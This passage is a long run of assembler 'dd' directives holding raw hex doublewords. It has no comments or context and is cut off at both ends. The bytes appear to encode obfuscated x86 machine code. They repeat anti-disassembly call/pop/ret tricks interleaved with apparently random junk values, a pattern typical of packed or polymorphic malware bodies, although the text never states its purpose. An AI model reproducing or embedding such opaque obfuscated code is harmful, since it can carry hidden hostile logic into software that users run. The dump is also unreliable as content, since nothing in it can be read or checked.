4D26E585h, 0B3604306h, 61FA8B7Bh, 8E6EFC68h, 299D09BCh dd 0FF064D00h, 4D1431B5h, 0C9958906h, 8D064D10h, 4D390685h dd 8E906h, 0A5640000h, 4899957Eh, 0D0FF3151h, 18699D31h dd 8589064Dh, 64D136Dh, 27259D29h, 85C6064Dh, 64D26E5h dd 3D8D3345h, 68064D05h, 8E726969h, 0E74CB966h, 1431B5FFh dd 0BD89064Dh, 64D2561h, 3906858Dh, 13E9064Dh, 0AD000000h dd 210316D3h, 0B86C0DCFh, 0EF686B57h, 33A81DEh, 0F564BE5h dd 686h, 0E5958B00h, 59064D29h, 0EF81D0FFh, 65EF3439h dd 231D8589h, 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h dd 0BFA773C3h, 0D3B03349h, 0E585C68Bh, 44064D26h, 4358589h dd 6468064Dh, 66B8F2ECh, 0FF13E7BAh, 4D1431B5h, 35B52906h dd 8D064D28h, 4D390685h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 0D0FF661Ch, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0A4C35242h, 4AC28160h dd 803F70F0h, 8589A7CDh, 64D17E5h, 0DBCA8166h, 0CA816695h dd 85C6D227h, 64D26E5h, 0A768F843h, 0FC0764Ah, 0B5FFC8B7h dd 64D1431h, 2BE98D8Bh, 858D064Dh, 64D3906h, 8E8h, 0B72F9D00h dd 945B8DF5h, 0D58D01CEh, 5A064D29h, 952BD0FFh, 64D0CE1h dd 29B98589h, 9589064Dh, 64D1F25h, 43BBD80h, 0F000650h dd 0FC84h, 0D9952900h, 8D064D23h, 50041D85h, 0D8D8B06h dd 50064D2Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 14h, 0FAC35747h, 12E8h, 26E5C400h, 71C66537h, 0E9DCB85Bh dd 0BD8393A0h, 0BAA7559Ch, 78371286h, 0E3B76059h, 2829BD8Bh dd 6A61064Dh, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 7A6E1AD6h, 8B9DA771h, 4D1541BDh dd 6A006A06h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 1763C356h, 71A287C4h, 0BFE44BFFh dd 25899D01h, 6A064Dh, 22CDBD89h, 0C281064Dh, 7BB68065h dd 26ED95FFh, 8589064Dh, 64D23B9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 0E4C35747h, 0BA66231Eh, 0FF6AF963h dd 23B9B5FFh, 95FF064Dh, 64D0411h, 0D061B8B9h, 8BC08B78h dd 4D0C018Dh, 0D9BD8306h, 64D1Bh, 0BD830975h, 64D0011h dd 50197400h, 0B8C08B53h, 7D1h, 25758589h, 9D8D064Dh, 64FB715h dd 585BD3FFh, 11BD83h, 7400064Dh, 0B8535017h, 7D1h, 25758589h dd 9D8D064Dh, 64FB404h, 585BD3FFh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 2C35545h, 6F19D01h, 8166064Dh dd 8B8D32CFh, 0B2EC8AC0h, 0E585C6C2h, 47064D26h, 0E133E3BAh dd 0F7C1685Bh, 0D18193C8h, 699F7943h, 1431B5FFh, 8060064Dh dd 8B61E3DEh, 6858DC8h, 0FF064D39h, 0B1EAB9D0h, 89507A29h dd 4D15E585h, 5E858D06h, 29065008h, 4D17D995h, 9400C706h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 3847C357h, 0BD8B14B6h, 64D060Dh dd 5EB58D58h, 6A065008h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 5376C350h, 489DB260h dd 66ECD775h, 0A3BFFA8Bh, 5609EC63h, 11E9h, 0F67A3500h dd 691B77CDh, 19F4A6Bh, 0B1A017DFh, 0D0FF0AF6h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 2BC35141h, 8786EB1Fh dd 5E858DC4h, 8B065008h, 4D1BC195h, 0C9BF0F06h, 6047883h dd 31850Fh, 0E1800000h, 0F285C742h, 1065008h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 8CEFC356h, 0C9040411h, 83AE13ABh, 4D1771BDh dd 850F0006h, 72h, 7E9h, 0F3A3E600h, 0DF77A139h, 8F2BD83h dd 0F000650h, 5985h, 0D78B6600h, 2179BD83h, 0F00064Dh dd 4984h, 38F0F00h, 0F000000h, 85C7FFB7h, 64D2769h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 1C35141h dd 6AA34FB5h, 0B750342Ah, 0C98589ACh, 0E9064D25h, 6, 36EBAFEAh dd 8C6670A6h, 52006ADBh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 6BC764F5h, 0C3F6FC38h, 0EB840F04h dd 0F000004h, 582h, 1F15BF00h, 85C76334h, 64D1281h, 0 dd 48BD80F5h, 65004h, 6850Fh, 0BD8B0000h, 64D30E9h, 26E585C6h dd 0B47064Dh, 4D13DD8Dh, 5B866806h, 8B66E3E4h, 31B5FFD7h dd 0F064D14h, 68Ch, 0ADB50100h, 8D064D03h, 4D390685h, 35B52906h dd 0F064D0Ch, 0D0FFD1B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 1CC35242h, 0B639CE7Eh, 29C75E1Bh, 4D116195h dd 0B9BD8B06h, 68064D28h, 104h, 6DC78166h, 599D8D7Dh, 66064D16h dd 4E09E181h, 0AE953h, 38220000h, 4962CCBh, 0D33FCF03h dd 0B70FD0FFh, 59858DCBh, 0E9064D16h, 5, 3DC087C2h, 0EA8A50F9h dd 3FA858Dh, 7E90650h, 0ED000000h, 0BE252EE7h, 5750368Ch dd 0AA9BD29h, 8D59064Dh, 4FFACD85h, 5890F06h, 53000000h dd 5FC88B66h, 52006A50h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 0D6419D55h, 6623BCEFh, 0FF198DBAh dd 4D034195h, 0EE906h, 44990000h, 0AFEF5FE7h, 8D77AFA6h dd 0A7E6CE55h, 83F1CD80h, 0FE90CC4h, 7A000000h, 0AA72EC15h dd 1A852F3Bh, 1FCE6CBBh, 6A8014h, 8068h, 6A036A00h, 68006A00h dd 80000000h, 0FACD858Dh, 0FF50064Fh, 4D136D95h, 0DD858906h dd 0C6065003h, 4D26E585h, 87684706h, 0FFC7B15Eh, 4D1431B5h dd 6858D06h, 0FF064D39h, 0FF006AD0h, 5003DDB5h, 0F5D0FF06h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 7C35343h dd 13E815h, 7E4D0000h, 2FC3D68Dh, 0ADCB777Dh, 0D37DB32Eh dd 4332AC66h, 59BD89BAh, 5F064D2Eh, 5830Fh, 6DBA0000h dd 3D12CB0Bh, 37D0h, 3D830Fh, 0BF660000h, 66600C36h, 8822D781h dd 652B4FBAh, 0B5FF6155h, 65003DDh, 29B995FFh, 8D8B064Dh dd 64D2B09h, 0BE9h, 0F0C33100h, 8988D96Ah, 82CE791Fh, 0B4E9h dd 0F88B6600h, 0FFFBBF0Fh, 5003DDB5h, 29BD8B06h, 0FF064D20h dd 4D29B995h, 89006A06h, 4D15A59Dh, 0F006A06h, 0BD33F9BFh dd 64D0F31h, 8D8B006Ah, 64D0D91h, 6AD78Bh, 0CE8h, 985FFA00h dd 0BADA3444h, 0F08DC89Ch, 6A5A34h, 23218D8Bh, 6A064Dh dd 3E1858Dh, 6A0650h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 140424h, 53430000h, 0E98109C3h, 1D46B442h, 0C1BD8950h dd 0FF064D15h, 4D136D95h, 0FFF88306h, 12E850Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0D3B1A7C3h, 9EA90D3Ah, 91858D3Ch, 89064FBAh, 4D1131B5h dd 0FFFA8B06h, 0C5F181D0h, 6A7846B3h, 68B0F00h, 81000000h dd 0F75EC6E2h, 6A006A74h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 10A1E834h dd 76D73FB3h, 1B58912h, 6A064D13h, 0B99D3100h, 6A064D13h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0BF0FEAB8h, 8D006AF8h, 5003E185h, 9E906h dd 0B0590000h, 53AC1D99h, 506FB4F6h, 5E9h, 0A7B44E00h dd 95FF57A6h, 64D136Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 86C35040h, 0C9ECFAA2h, 0AE7EFCA3h, 2589BD89h dd 0F883064Dh, 35850FFFh, 89000000h, 4D18458Dh, 7DC18006h dd 0FDE9B58Dh, 0BD8B064Fh, 64D2AADh, 0A903858Dh, 9589064Fh dd 64D1B71h, 27B6D0FFh, 0ABB2006Ah, 231D95FFh, 0BD03064Dh dd 64D0501h, 3DD8589h, 8B500650h, 4D25AD95h, 6A5F06h, 6419D29h dd 858D064Dh, 65003D5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 3EC35040h, 6DFD6B8Ah, 8B66B587h, 8D8950D3h dd 64D0621h, 6A046Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 8929D9C3h, 4D2BB585h, 1D858D06h dd 0BA064D0Bh, 7C08CD89h, 2737BF66h, 53006A50h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 8659824Bh dd 51028955h, 0BD8B77CBh, 64D2D95h, 8D8B006Ah, 64D2FF5h dd 0ED80006Ah, 81016A47h, 0C65383F7h, 0DDB5FF1Bh, 0F065003h dd 95FFCBBFh, 64D17E5h, 149D8D23h, 47E9064Dh, 6A00001Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 0F5E1C350h, 0A779B617h, 6692D895h, 8D84E281h dd 2ED59D29h, 0C08B064Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0BFC35040h, 0BF0FACC2h, 0F9BF0FCBh, 2559BD23h dd 0BD83064Dh, 64D1BD9h, 83097500h, 4D0011BDh, 19740006h dd 0C08B5350h, 7D2B8h, 75858900h, 8D064D25h, 4FB7159Dh dd 5BD3FF06h, 11BD8358h, 64D00h, 53501774h, 7D2B8h, 75858900h dd 8D064D25h, 4FB4049Dh, 5BD3FF06h, 3840F58h, 66000000h dd 950BD68Bh, 64D1049h, 0CE8BC08Bh, 128185C7h, 1064Dh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 964DC6C3h, 0E8337E1Bh, 14h, 8057077Dh, 6E05E202h dd 0FCC26F33h, 6B0F156Fh, 6A58D680h, 14359D29h, 685F064Dh dd 0CEE4E7B8h, 395B5FFh, 858D064Dh, 64D3906h, 8589D0FFh dd 64D0625h, 5DBD468h, 95B5FFC0h, 8D064D03h, 4D390685h dd 89D0FF06h, 4D180585h, 86858D06h, 50064FF8h, 1431B5FFh dd 95FF064Dh, 64D10CDh, 0B74C00Bh, 858DD88Bh, 6500839h dd 8DD3FF50h, 50083985h, 38836606h, 0C70A7509h, 4D0B9985h dd 106h, 3D95FF00h, 25064D23h, 0FFh, 7305F883h, 7985C70Ah dd 1064D2Ch, 0E9000000h, 0Fh, 1B9CDBBEh, 7C4062DCh, 7DF1AEBAh dd 890BE099h, 4D2C2DBDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0E5850142h, 80064D31h dd 500448BDh, 850F0006h, 22h, 0FE952h, 0D6B0000h, 0FB1039D0h dd 0D59D81CBh, 47733F2Fh, 0E5805F02h, 1958E95Dh, 0B9660000h dd 0BD830C2Dh, 64D0B99h, 9E850F00h, 66000000h, 945DDA81h dd 412858Dh, 6A0650h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 5ECB6C3h, 0A89B5208h, 8B50F0D6h dd 4D2F75BDh, 0F5016A06h, 17B1006Ah, 57B9006Ah, 0FF41863Ah dd 4D26ED95h, 0B70F5306h, 85895AF9h, 650043Ch, 0FF6AE6B2h dd 0DE0ABA66h, 43CB5FFh, 6A0650h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0A877E4C3h, 8D896092h dd 64D2049h, 1195FF61h, 0F064D04h, 885h, 2890F00h, 52000000h dd 4D858D5Ah, 89064FF8h, 4D0F4995h, 0BD8B5006h, 64D13E9h dd 2A9D95FFh, 0BA50064Dh, 33AA0935h, 0D7858959h, 6A064FF8h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0F4E3C355h, 37FCAA9Dh, 5E8EBh, 0F6C60000h dd 8B887941h, 4D04318Dh, 858D5906h, 64FF85Ah, 8B50D18Bh dd 4D1ECDBDh, 0D7B5FF06h, 0FF064FF8h, 4D10CD95h, 13E906h dd 0D9E70000h, 1C617763h, 0DBF903AEh, 35D0B911h, 0A740B06h dd 0E985892Ah, 8B064D21h, 4D130195h, 46E28106h, 8D11C6CAh dd 4FF8C885h, 13E906h, 7EFE0000h, 0DB73738h, 8CC25F64h dd 7533DC1Ah, 0C8478940h dd 0C6BF504Eh, 0FF2D31CAh, 4FF8D7B5h, 0FF70B106h, 4D10CD95h dd 0CAB70F06h, 0F8EB8589h, 6A064Fh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0CDF357C3h dd 9F6A0612h, 858DB461h, 64FF8A7h, 50C88B66h, 0C5BD03h dd 0B5FF064Dh, 64FF8D7h, 0EC58D8Bh, 95FF064Dh, 64D10CDh dd 60CEB70Fh, 69BD89F5h, 61064D17h, 0F8E38589h, 8EBA064Fh dd 8D2E1B42h, 4FF89A85h, 0F9BD8B06h, 50064D31h, 1ECA8166h dd 5880FADh, 0B9000000h, 5A2C6382h, 0F8D7B5FFh, 6E9064Fh dd 7D000000h, 6FD55D29h, 0CD95FF94h, 6A064D10h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h dd 3F9C350h, 0E96AE032h, 0C25D8436h, 17DD9D89h, 8589064Dh dd 64FF8E7h, 0A858589h, 858D064Dh, 64FF8B5h, 23B18D01h dd 0F50064Dh, 684h, 860F00h, 0FF000000h, 4FF8D7B5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 56C58865h, 9CA44304h, 0DDDBD89h, 95FF064Dh, 64D10CDh dd 0C800Fh, 8E0F0000h, 6, 2F89BD8Bh, 8589064Dh, 64D06EDh dd 6820Fh, 0E7810000h, 380488D7h, 0F869858Dh, 6A50064Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0BE5AC357h, 2012AF5Bh, 0BF664350h, 0B5FFB832h dd 64FF8D7h, 6870Fh, 9D890000h, 64D23C9h, 10CD95FFh, 9D89064Dh dd 64D0DC1h, 0F8DB8589h, 0CF81064Fh, 502E2121h, 0F878858Dh dd 958B064Fh, 64D0029h, 8B665750h, 0B5FF5AD1h, 64FF8D7h dd 95FFD78Bh, 64D10CDh, 10BD9D29h, 8589064Dh, 64FF8DFh dd 369BD8Bh, 0CF81064Dh, 53BC5C18h, 10468h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0E5921D6Fh, 4870F24h, 66000000h, 8DBED9B9h, 4FF96F85h dd 14E96006h, 2A000000h, 0F7279297h, 4DFC68E2h, 0F3BB9F64h dd 0C14BCA51h, 6678FC85h, 6190E2BBh, 8B665650h, 858D5FCEh dd 64FFA73h, 11E950FCh, 0A7000000h, 0ADF61A0Eh, 58F96E6Bh dd 6DEBBC77h, 0A3292BF5h, 2AA595FFh, 0CE9064Dh, 0C6000000h dd 17111103h, 8C5342F2h, 85406CB5h, 25850FC0h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0AF63C352h, 0BD2959CAh, 64D0BA5h, 448BD80h dd 0F000650h, 1C85h, 5DB53100h, 0E9064D07h, 1532h, 8E8h dd 5009B500h, 6FA035F2h, 0CABF0FE9h, 99BD8359h, 64D0Bh dd 1F850Fh, 0EF810000h, 68FE3F4Eh, 8F2BD83h, 0F000650h dd 3F84h, 0AD9D8900h, 8B064D17h, 4D13C58Dh, 0C858D06h dd 89064FF9h, 4D0DE19Dh, 0FA8B6606h, 14E1E9h, 0BE900h dd 34870000h, 6CA03CBFh, 0B226667Dh, 13E913h, 0F600000h dd 285h, 61616000h, 0F8F7858Dh, 8B66064Fh, 858D50FAh, 64FF96Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0DDC35747h dd 3E37F9A7h, 56E9CADFh, 2A4D8D8Bh, 350064Dh, 4D2B3D95h dd 99BD8306h, 64D0Bh, 3A840Fh, 0B70F0000h, 95858DFBh, 6A064FFAh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h dd 40000000h, 8BF7C350h, 39B589FEh, 0E9064D16h, 1Fh, 9589CE8Ah dd 64D1FFDh, 0FA7E858Dh, 8D8B064Fh, 64D0545h, 5860Fh, 0CFB90000h dd 50091374h, 850Fh, 858D0000h, 64FFACDh, 0C07DB966h, 73D28150h dd 0FF359154h, 4D034195h, 10C48306h, 0F8C08BF9h, 1BD9BD83h dd 7500064Dh, 11BD8309h, 64D00h, 53501974h, 0D3B8C08Bh dd 89000007h, 4D257585h, 159D8D06h, 0FF064FB7h, 83585BD3h dd 4D0011BDh, 17740006h, 0D3B85350h, 89000007h, 4D257585h dd 49D8D06h, 0FF064FB4h, 57585BD3h, 3E5B589h, 665F064Dh dd 0AEC4CF81h, 0BD8BC08Bh, 64D2AF9h, 0EE8h, 0B395F800h dd 2A5FFC12h, 429AED57h, 2908756Bh, 4D2DA1BDh, 0BD815906h dd 64FF8F7h, 6165726Fh, 0A9840Fh, 950B0000h, 64D3011h dd 0F96F858Dh, 8D50064Fh, 4FFAAC85h, 858D5006h, 64FFACDh dd 4195FF50h, 83064D03h, 85C60CC4h, 64D26E5h, 184F6844h dd 0B5FF96A3h, 64D1431h, 3906858Dh, 0D0FF064Dh, 858DD88Bh dd 64FFACDh, 8DD3FF50h, 4FF8F785h, 858D5006h, 64FF96Fh dd 99BD8350h, 64D0Bh, 858D0874h, 64FFA95h, 858D06EBh, 64FFA7Eh dd 0CD858D50h, 50064FFAh, 34195FFh, 0C483064Dh, 53006A10h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 899F2328h, 4D05D99Dh, 0E58D8B06h, 0FF064D2Dh, 4D233D95h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 8925925Dh, 4D23E195h, 19952B06h, 25064D20h dd 0FFh, 0CCE78160h, 667FE790h, 8361D08Bh, 830F05F8h, 5Ah dd 3055BD89h, 0CE9064Dh, 0CB000000h, 0F97900DDh, 0DD052BC1h dd 0C7AFED2Ah, 4D2C7985h, 106h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 858D95ABh dd 64FF92Bh, 68E0Fh, 0BD010000h, 64D0FFDh, 79E9h, 0BE67B900h dd 0BD830EF2h, 64D0B99h, 5B840F00h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0E66C353h, 0E64CE7EBh, 0C181AA05h, 1AE48720h, 0F956858Dh dd 0BD8B064Fh, 64D3259h, 2DE9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 978032E3h dd 858DF5A8h, 64FF938h, 0E3D8D01h, 8589064Dh, 64FF96Bh dd 0BD83D68Bh, 64D0B99h, 15850F00h, 66000000h, 0E6D6C281h dd 8F2BD83h, 0F000650h, 2C84h, 0D9F58000h, 1185E9h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 89A7FF3Dh, 4D3049B5h, 485E906h, 8BF90000h, 0D78B66C0h dd 1BD9BD83h, 7500064Dh, 11BD8309h, 64D00h, 53501974h dd 0D4B8C08Bh, 89000007h, 4D257585h, 159D8D06h, 0FF064FB7h dd 83585BD3h, 4D0011BDh, 17740006h, 0D4B85350h, 89000007h dd 4D257585h, 49D8D06h, 0FF064FB4h, 0F585BD3h, 0C08BD3B7h dd 22318D8Bh, 3F68064Dh, 8B000F00h, 89006AFEh, 4D0BF5B5h dd 0F9B70F06h, 850F006Ah, 0Bh, 58D0Fh, 81660000h, 0FF847ED7h dd 4D21E995h, 3820F06h, 80000000h, 0C08573EAh, 2F850Fh dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 7A209CC3h, 4627BB33h, 9D89B3FCh, 64D2F21h dd 1CF8166h, 0EF8589B4h, 81064FF8h, 0B5C9A1EFh, 66006A32h dd 6AD18Bh, 58BC5CBFh, 6A006A01h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 23BBC352h dd 0E2DE5E80h, 2825958Bh, 6A064Dh, 11E9h, 4CC5BE00h, 843171FCh dd 1F1774D6h, 0A2BFFA27h, 6A83B9h, 97BFBF66h, 0FACD858Dh dd 9501064Fh, 64D2255h, 3E9401B9h, 8D89507Ah, 64D120Dh dd 0BD29016Ah, 64D14A9h, 8D8B016Ah, 64D052Dh, 0BD31016Ah dd 64D0055h, 0F01FF68h, 0B70F5700h, 880F5AFEh, 1, 99BD83F9h dd 64D0Bh dd 24840Fh, 5E90000h, 1B000000h, 6CEBBDE0h, 858DFB8Bh dd 64FF94Ch, 1800Fh, 0E9FC0000h, 11h, 30CD8D8Bh, 858D064Dh dd 64FF922h, 3ED78166h, 8B0F5049h, 0Ah, 5E9h, 0CC67C200h dd 9E9B2B0h, 0BF000000h, 0AD58DF9Ch, 181CEB4Dh, 70C98150h dd 0FF2AF071h, 4FF8EFB5h, 158D2306h, 56064D21h, 0DB95FF5Ah dd 8B064FF8h, 4D143595h, 0FC08506h, 1A85h, 0A1BD2900h dd 0E9064D1Bh, 6Dh, 0AE9h, 18725A00h, 977769AFh, 898BC159h dd 4FF8F385h, 0D6BF0F06h, 0F8F3B5FFh, 8589064Fh, 64D0EC5h dd 6ED95FFh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 10A967C3h, 0E159774Bh, 60B9CDF8h dd 800FCF8Bh, 6, 25E9BD89h, 8561064Dh, 6850FC0h, 89000000h dd 4D0DE19Dh, 8B106A06h, 83D18AC8h, 4D0B99BDh, 840F0006h dd 40h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h dd 9CC35343h, 0E5BD8B3Fh, 8D064D03h, 4FF94C85h, 6840F06h dd 8B000000h, 4D0C1195h, 0FE906h, 0BD2B0000h, 64D296Dh dd 0F922858Dh, 0BF0F064Fh, 6A50C9h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 6FF06EC3h dd 6E9h, 0BFDB2F00h, 0FFF3F39Dh, 4FF8EFB5h, 0BECABA06h dd 95FF734Eh, 64FF8E7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 9BC35242h, 1DE99503h, 0C085064Dh, 41850Fh dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 27B37C3h, 0E341C0DBh, 0CD20B960h, 13E96A1Fh dd 10000000h, 69219576h, 5E57F521h, 0E96D97EBh, 8FEF0D7h dd 89617165h, 4FF8F385h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0FD5E11A6h, 0BF0FB022h dd 89006AD7h, 4D2439BDh, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0A24DC357h dd 685F3AFh, 60FBC4DBh, 53C18B60h, 0B52B615Eh, 64D32CDh dd 0F3B5FF61h, 6A064FF8h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 326DC357h, 0BDE184BAh dd 81DABFA2h, 3D57DEF1h, 0DF95FF47h, 85064FF8h, 26850FC0h dd 29000000h, 4D303D85h, 860F5706h, 18h, 12E8h, 0B75AD800h dd 70D259B6h, 0D0170FF1h, 0E65B8723h, 59EDCEEAh, 0F3B5FF59h dd 66064FF8h, 0BE8D08Bh, 0EF000000h, 0FA118AFCh, 8D6D5379h dd 8D0FACC3h, 2, 0FF5F6160h, 4D06ED95h, 0BD8D8B06h, 85064D1Ah dd 20850FC0h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 4E8CC355h, 6ADB5508h dd 99958B00h, 68064D24h, 80h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0BFC35141h, 0BF6626B4h, 36A0D13h dd 0F2CF8166h, 60006A41h, 0DDDB589h, 6A61064Dh, 5800F00h dd 66000000h, 6D77CF81h, 68h, 41BD8BC0h, 0FF064D18h, 4FF96BB5h dd 0D19D8906h, 0FF064D0Fh, 4D136D95h, 81B58906h, 83064D06h dd 850FFFF8h, 507h, 2EF1BD8Bh, 85FF064Dh, 65003D9h, 2491BD8Bh dd 0BD83064Dh, 65003D9h, 0EA840F02h, 60000003h, 0A9958Bh dd 0B70F064Dh, 858D61F3h, 5AF59Fh, 8D0Fh, 0D0FF0000h, 13E9h dd 1324D900h, 0DDC97E71h, 46E8E306h, 0B779262Fh, 15E72A8Fh dd 0EFF2858Dh, 6A005Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 0E1B55BC3h, 0C22FE23Ch, 0BF0FD53Ch dd 0E9D38AFBh, 0Eh, 69C59DB1h, 46807B6Dh, 1B65EA77h, 0D0FFE627h dd 0AD8D8B60h, 0F8064D26h, 5E96061h, 42000000h, 79F2CC69h dd 0C08B61F8h, 1DE98D89h, 0BD83064Dh, 64D1BD9h, 83097500h dd 4D0011BDh, 19740006h, 0C08B5350h, 7D8B8h, 75858900h dd 8D064D25h, 4FB7159Dh, 5BD3FF06h, 11BD8358h, 64D00h dd 53501774h, 7D8B8h, 75858900h, 8D064D25h, 4FB4049Dh dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1A04h, 0C3554500h, 5D1D503Ah, 6A3D2121h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 9953C357h dd 0D1212DEEh, 6830Fh, 8D290000h, 64D1DEDh, 60ABB966h dd 80B9C08Bh, 684DA23Fh, 0F003Fh, 2D09958Bh, 6A064Dh, 689905BFh dd 89006A5Dh, 4D27458Dh, 2FBF6606h, 0E995FFBFh, 81064D21h dd 0C2BCC9D9h, 0FC08577h, 684h, 0E1852900h, 66064D32h dd 6F11E181h, 0F8EF8589h, 0BD0B064Fh, 64D03D5h, 28C0Fh dd 0CB8B0000h, 0F01FF68h, 83595300h, 4D0B99BDh, 840F0006h dd 2Fh, 19BD8B56h, 5F064D20h, 0F94C858Dh, 820F064Fh, 5 dd 8BDF8166h, 1DE964h, 6E80000h, 1D000000h, 33FBD894h dd 7371BF6Ah, 8D5A21FFh, 4FF92285h, 18D8906h, 50064D03h dd 0EFB5FFF8h, 6A064FF8h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 7173C357h, 0C9A193DEh dd 0F8E795FFh, 8B66064Fh, 0F38589CEh, 0B9064FF8h, 7C8B48FFh dd 230985C7h, 64Dh, 95010000h, 64D1859h, 0F8F3BD83h, 0F00064Fh dd 18E84h, 0FEBF0F00h, 0FBD1858Dh, 0F50064Fh, 8Dh, 81016A00h dd 1D6473EFh, 5E96Bh, 674B0000h, 0FF5A09BFh, 4FF8F3B5h dd 0D1958B06h, 0FF064D1Fh, 4FF8EB95h, 0D8D2906h, 0F064D27h dd 68Eh, 0BDC98100h, 0FF322BB7h, 4FF8F3B5h, 41B52906h dd 0FF064D1Ch, 4D06ED95h, 13E906h, 59D10000h, 0EF46A8EBh dd 1658A26Ch, 0B174682Ah, 325BC362h, 1FF6808h, 8166000Fh dd 832235CAh, 4D0B99BDh, 840F0006h, 30h, 1B69958Bh, 858D064Dh dd 64FF94Ch, 14E9h, 0A766DC00h, 93189638h, 0D37B163Bh dd 0E9E8ACA4h, 32304E84h, 2EE91Fh, 0F1810000h, 6F747C38h dd 0F922858Dh, 6A064Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 4EFF4EC3h, 0F5FAE7B9h, 52006A50h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0D1450F0Fh, 11FD8529h, 0B5FF064Dh, 64FF8EFh, 4850Fh dd 0BA660000h, 95FF2B1Fh, 64FF8E7h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 0FAC35040h, 0AF8BC0C5h, 0F726E42h dd 682h, 7D8D8B00h, 89064D14h, 4D231595h, 0F3858906h, 89064FF8h dd 4D1145B5h, 0F3B5FF06h, 8B064FF8h, 4D1AED8Dh, 0E395FF06h dd 56064FF8h, 0F3B5FF5Fh, 81064FF8h, 89A831F1h, 